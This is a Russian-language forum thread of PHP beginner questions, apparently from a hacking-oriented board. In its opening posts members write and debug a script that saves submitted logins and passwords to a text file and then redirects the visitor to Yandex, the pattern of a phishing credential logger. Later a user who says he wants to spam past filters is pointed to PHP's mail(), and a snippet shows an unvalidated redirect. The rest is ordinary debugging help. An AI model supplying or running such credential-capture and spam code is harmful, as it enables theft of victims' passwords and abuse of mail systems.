[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. ozornik88

    ozornik88 New Member

    Joined:
    21 May 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Добрый день!
    Сразу прошу извинить, если пишу не в той теме.
    На просторах сети подглядел скрипт записи логина и пароля, чуть подредактировал его:
    Однако в файл database.txt пишутся лишь пустые строки, разделенные тегом <br>

    Не могли бы форумчане подсказать где ошибка или поделиться работающим скриптом записи логина и пароля?
     
  2. daniel777

    daniel777 Elder - Старейшина

    Joined:
    8 Jul 2010
    Messages:
    517
    Likes Received:
    90
    Reputations:
    37
    Вы отправляете логин и пароль методом GET или POST?
    Вот написал пример:
    HTML:
    <form method=POST>
    Логин:<input type=text name=login><br>
    Пароль:<input type=text name=password><br>
    <input type=submit value=OK>
    </form>
    PHP:
    <?php

    if($_POST){
    $fp fopen('database.txt''a+');
    fwrite($fp"\n".$_POST[login].':'.$_POST[password]."<br>\n");
    fclose($fp);
    header('Location: http://www.yandex.ru');
    }

    ?>
    К сожалению нету возможности проверить.
     
  3. ozornik88

    ozornik88 New Member

    Joined:
    21 May 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Отправлял методом POST - вот код:
    HTML:
    <form name="login" method="post" action="login.php"> <input type="text" name="textfield"> </form> 
    <form name="password" method="post" action="login.php"> 
    <input type="text" name="textfield"> </form>
    
    Видел в сети еще следующий вариант:
    PHP:
    <?PHP 
    $Log 
    $_POST['login']; 
    $Pass $_POST['password']; 
    $log fopen("database.txt","at"); 
    fwrite($log,"\n $Log:$Pass \n"); 
    fclose($log); 
    Результат тот же - записываются пустые строки.
    Попробую ваш вариант, может что-то поменяется.
     
  4. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12



    Code:
    <?php
    $dbFile = "database.txt";
    if(isset($_POST['test']) && isset($_POST['test2']))
    {
    	$username = $_POST['test'];
    	$password = $_POST['test2'];
    	$fh = fopen($dbFile, "at");
    	fwrite($fh, "$username:$password\n");
    	fclose($fh);
    }
    ?>
    
     
  5. ozornik88

    ozornik88 New Member

    Joined:
    21 May 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    daniel777, спасибо - после небольшой корректировки html кода скрипт заработал как надо.
    DeepBlue7 а вот ваш также не захотел запускаться к сожалению.
     
  6. STLcRash

    STLcRash New Member

    Joined:
    4 Jun 2009
    Messages:
    39
    Likes Received:
    0
    Reputations:
    0
    Нужно сделать страничку, на ней окно для ввода текста и кнопка перехода на адрес
    http://блаблабла.com/+текст из окошка.

    Возможно ли это сделать, чтоб страничка на сервере хранилась в формате .HTM?
     
  7. STLcRash

    STLcRash New Member

    Joined:
    4 Jun 2009
    Messages:
    39
    Likes Received:
    0
    Reputations:
    0
    Code:
    <INPUT TYPE="TEXT" NAME="USERTEXT" VALUE="" SIZE="20"><input name="go" type="submit" value="перейти">
    
    Как на кнопку Перейти открыть сайт из поля <INPUT>?
     
  8. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    STLcRash

    Code:
    <form method='post' action='script.php'>
    <input type='text' name='usertext' size='20'><input type='submit' name='submit' value='Send'>
    </form>
    
    script.php
    Code:
    <?php
    header("Location: $_POST[usertext]");
    ?>
    
     
  9. STLcRash

    STLcRash New Member

    Joined:
    4 Jun 2009
    Messages:
    39
    Likes Received:
    0
    Reputations:
    0
    Без PHP обойтись не получится?
    TINY WEB SERVER не поддерживает PHP
     
  10. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    есть у кого наработки по постингу большого количества контента через vk api в группу7
     
  11. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Практически на 100% уверен, что это можно сделать при помощи JavaScript. Как - а хрен его знает, с JS дела не имел... погуглай :)


    http://php.net/manual/en/function.echo.php

    echo is not actually a function (it is a language construct), so you are not required to use parentheses with it. echo (unlike some other language constructs) does not behave like a function, so it cannot always be used in the context of a function. Additionally, if you want to pass more than one parameter to echo, the parameters must not be enclosed within parentheses.

    Теперь ясно )
     
    #20631 DeepBlue7, 23 May 2012
    Last edited: 23 May 2012
  12. NikeAir777

    NikeAir777 Banned

    Joined:
    26 Dec 2011
    Messages:
    4
    Likes Received:
    1
    Reputations:
    1
    Всем привет!
    Ребят объясните пожалуйста как вообще рассылаются письма через скрипты?Или ссылочки покидайте.В гугле лазил,ничего не нашел понятного,объясните по-простому.В принципе чуток я понял,но мне интересно куда заливать,на какие хостинги скрипты?
    Раньше занимался массовой рассылкой писем через различные программы,но потом сообщения не проходили спам-фильтры и забросил все это,хотелось бы теперь через скрипты спамить.
     
  13. Darth Padla

    Darth Padla Member

    Joined:
    21 Jun 2010
    Messages:
    141
    Likes Received:
    25
    Reputations:
    8
    я шось запутался.обьясните,почему такой код -
    PHP:
    class test{
        public 
    $id;
        public 
    $prnt;
        function 
    somemethod(){
            echo 
    $this->id."<br>";
        }
        function 
    getparent(){
            return 
    $this->prnt;
        }
        function 
    __construct($idt,$idp){
            
    $this->id=$idt;
            if(
    $idp){$this->prnt=$testarr[$idp];}else{$this->prnt=false;}
        }
    }
    $testarr=array();
    //for($i=0;$i<3;$i++){
        
    $testarr[0]=new test(0,0);
        
    $testarr[1]=new test(1,0);
        
    $testarr[2]=new test(2,1);
    //}
    $testarr[1]->somemethod();
    $testarr[2]->somemethod();
    $testarr[2]->getparent()->somemethod();
    //или $testarr[2]->prnt->somemethod();
    выводит только 1 2,а не 1 2 1?
    где я тупой?
     
  14. Darth Padla

    Darth Padla Member

    Joined:
    21 Jun 2010
    Messages:
    141
    Likes Received:
    25
    Reputations:
    8
    хостинг любой с поддержкой пхп.
    функция mail()
    помогло?
     
  15. NikeAir777

    NikeAir777 Banned

    Joined:
    26 Dec 2011
    Messages:
    4
    Likes Received:
    1
    Reputations:
    1
    В общем уже я все понял,но есть пару вопросиков,дай мне свою асю,спишемся:)
     
  16. Darth Padla

    Darth Padla Member

    Joined:
    21 Jun 2010
    Messages:
    141
    Likes Received:
    25
    Reputations:
    8
    смотри левее внимательно
     
  17. NikeAir777

    NikeAir777 Banned

    Joined:
    26 Dec 2011
    Messages:
    4
    Likes Received:
    1
    Reputations:
    1
    хах,не заметил :)
     
  18. Darth Padla

    Darth Padla Member

    Joined:
    21 Jun 2010
    Messages:
    141
    Likes Received:
    25
    Reputations:
    8
    PHP:
    class test{
        public 
    $id;
        public 
    $prnt;
        function 
    somemethod(){
            echo 
    $this->id."<br>";
        }
        function 
    getparent(){
            return 
    $this->prnt;
        }
        function 
    __construct($idt,$idp){
            
    $this->id=$idt;
            if(
    $idp){
     
    //$this->prnt=$testarr[$idp];}else{$this->prnt=false;}
    //Вот эту строку надо отсюда убрать туда вниз
        
    }
    }
    $testarr=array();
    //for($i=0;$i<3;$i++){
        
    $testarr[0]=new test(0,0);
        
    $testarr[1]=new test(1,0);
        
    $testarr[2]=new test(2,1);
            
    $testarr[2]->prnt=$testarr[1];
         
    //Сюда вниз
    //}
    $testarr[1]->somemethod();
    $testarr[2]->somemethod();
    $testarr[2]->getparent()->somemethod();
    //или $testarr[2]->prnt->somemethod();
     
  19. Nizhegorodets

    Nizhegorodets Member

    Joined:
    21 Mar 2009
    Messages:
    80
    Likes Received:
    66
    Reputations:
    9
    Ребят, подскажите ресурсы по php, где много примеров несложных скриптов, будет великолепно, если с разбором. Спасибо.
     
  20. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    php.su - мне обычно достаточно.
     
Thread Status:
Not open for further replies.